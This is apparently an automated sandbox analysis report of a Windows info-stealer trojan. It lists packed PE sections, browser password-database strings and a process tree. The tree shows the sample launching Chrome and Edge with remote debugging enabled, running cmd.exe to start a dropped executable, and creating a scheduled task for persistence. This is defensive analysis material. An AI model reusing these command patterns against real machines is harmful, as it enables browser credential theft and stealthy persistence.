Source: random[1].exe0.24.dr	Static PE information: section name:
Source: random[1].exe0.24.dr	Static PE information: section name: .idata
Source: random[1].exe0.24.dr	Static PE information: section name:
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name:
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name: .idata
Source: c9b8a5fd06.exe.24.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9CB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9CB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9CB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C96F280

Source: C:\Users\user\DocumentsEGIDAAFIEH.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9635A0	0_2_6C9635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C976C80	0_2_6C976C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C34A0	0_2_6C9C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CC4A0	0_2_6C9CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D4D0	0_2_6C98D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9764C0	0_2_6C9764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6CF0	0_2_6C9A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D4E0	0_2_6C96D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5C10	0_2_6C9A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2C10	0_2_6C9B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DAC00	0_2_6C9DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D542B	0_2_6C9D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D545C	0_2_6C9D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975440	0_2_6C975440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0DD0	0_2_6C9A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C85F0	0_2_6C9C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98ED10	0_2_6C98ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990512	0_2_6C990512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FD00	0_2_6C97FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985E90	0_2_6C985E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CE680	0_2_6C9CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4EA0	0_2_6C9C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96BEF0	0_2_6C96BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97FEF0	0_2_6C97FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D76E3	0_2_6C9D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7E10	0_2_6C9A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5600	0_2_6C9B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C9E30	0_2_6C9C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989E50	0_2_6C989E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A3E50	0_2_6C9A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2E4E	0_2_6C9B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984640	0_2_6C984640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C670	0_2_6C96C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D6E63	0_2_6C9D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B77A0	0_2_6C9B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996FF0	0_2_6C996FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96DFE0	0_2_6C96DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A7710	0_2_6C9A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979F00	0_2_6C979F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9960A0	0_2_6C9960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D50C7	0_2_6C9D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C0E0	0_2_6C98C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A58E0	0_2_6C9A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C977810	0_2_6C977810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB820	0_2_6C9AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4820	0_2_6C9B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C988850	0_2_6C988850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D850	0_2_6C98D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AF070	0_2_6C9AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5190	0_2_6C9A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2990	0_2_6C9C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D9B0	0_2_6C99D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C9A0	0_2_6C96C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98A940	0_2_6C98A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB970	0_2_6C9BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB170	0_2_6C9DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D960	0_2_6C97D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DBA90	0_2_6C9DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97CAB0	0_2_6C97CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2AB0	0_2_6C9D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9622A0	0_2_6C9622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994AA0	0_2_6C994AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A8AC0	0_2_6C9A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C981AF0	0_2_6C981AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AE2F0	0_2_6C9AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A9A60	0_2_6C9A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96F380	0_2_6C96F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D53C8	0_2_6C9D53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD320	0_2_6C9AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965340	0_2_6C965340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C370	0_2_6C97C370
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F8860	24_2_007F8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F7049	24_2_007F7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F78BB	24_2_007F78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F2D10	24_2_007F2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007B4DE0	24_2_007B4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F31A8	24_2_007F31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007E7F36	24_2_007E7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007B4B30	24_2_007B4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007F779B	24_2_007F779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C99CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9A94D0 appears 90 times

Source: c9b8a5fd06.exe.24.dr	Static PE information: Data appended to the last section found
Source: random[1].exe0.24.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2800752274.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2801212551.000000006CBE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2796874074.00000000236C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: zoewblch ZLIB complexity 0.9946460440214159
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: random[1].exe.0.dr	Static PE information: Section: rvvxjflc ZLIB complexity 0.9946319698610696
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: Section: rvvxjflc ZLIB complexity 0.9946319698610696
Source: skotes.exe.21.dr	Static PE information: Section: ZLIB complexity 0.9982916808583107
Source: skotes.exe.21.dr	Static PE information: Section: rvvxjflc ZLIB complexity 0.9946319698610696
Source: random[1].exe.24.dr	Static PE information: Section: ozbvvmja ZLIB complexity 0.9943599824514039
Source: 2ae4e7be65.exe.24.dr	Static PE information: Section: ozbvvmja ZLIB complexity 0.9943599824514039
Source: random[1].exe0.24.dr	Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: random[1].exe0.24.dr	Static PE information: Section: ilmuiwjp ZLIB complexity 0.9952103602492827
Source: c9b8a5fd06.exe.24.dr	Static PE information: Section: ZLIB complexity 0.9992699795081967
Source: c9b8a5fd06.exe.24.dr	Static PE information: Section: ilmuiwjp ZLIB complexity 0.9952103602492827

Source: random[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.21.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: DocumentsEGIDAAFIEH.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@77/297@22/30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9C7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\LAUQDOF4.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8788:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\a81bb214-19aa-4775-9e85-dc7962de0e13.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2801063610.000000006CB9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2412663507.000000001D295000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2413379895.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2510068401.000000001D289000.00000004.00000020.00020000.00000000.sdmp, BKFBAECBAEGDGDHIEHIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2790724112.000000001D392000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2800336015.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsEGIDAAFIEH.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2148,i,4198706579976940952,3932764698793424289,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2288,i,817918641045606747,12257324386537254083,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6464 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7204 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGIDAAFIEH.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGIDAAFIEH.exe "C:\Users\user\DocumentsEGIDAAFIEH.exe"
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5952 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe "C:\Users\user\AppData\Local\Temp\1008379001\2ae4e7be65.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGIDAAFIEH.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=2148,i,4198706579976940952,3932764698793424289,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2288,i,817918641045606747,12257324386537254083,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2492 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6464 --field-trial-handle=2116,i,7322940045532911273,13710491175629662104,262144 /prefetch:8
